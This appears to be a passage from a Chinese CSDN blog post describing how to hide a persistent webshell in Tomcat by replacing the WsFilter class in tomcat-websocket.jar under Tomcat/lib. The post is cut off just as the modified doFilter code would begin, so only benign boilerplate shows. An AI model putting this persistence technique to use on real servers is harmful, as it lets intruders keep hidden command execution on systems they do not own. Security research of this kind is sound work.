从一个被Tomcat拒绝的漏洞到特殊内存马

本文介绍了通过Tomcat的解析漏洞,如何构造并利用一个特殊的内存马。作者发现了在Tomcat/lib目录下,通过添加命名有空格或特殊字符的jar包,可以实现恶意WsFilter的加载,从而在服务重启后形成持久化的Webshell。尽管Tomcat官方认为这需要其他漏洞配合触发,但作者展示了在特定情况下,这种利用方式可能绕过常规审计。
摘要由CSDN通过智能技术生成

介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试
在这里插入图片描述
Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发
在这里插入图片描述
这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

→点击查看技术资料←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter
在这里插入图片描述
能否构造出一个恶意的WsFilter类注入到依赖库中

构造

在目标Tomcat/lib下找到tomcat-websocket.jar
在这里插入图片描述
找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

package org.apache.tomcat.websocket.server;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Handles the initial HTTP connection for WebSocket connections.
 */
public class WsFilter implements Filter {
   

    private WsServerContainer sc;


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
   
        sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
    }


    @Override
    public void 
  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值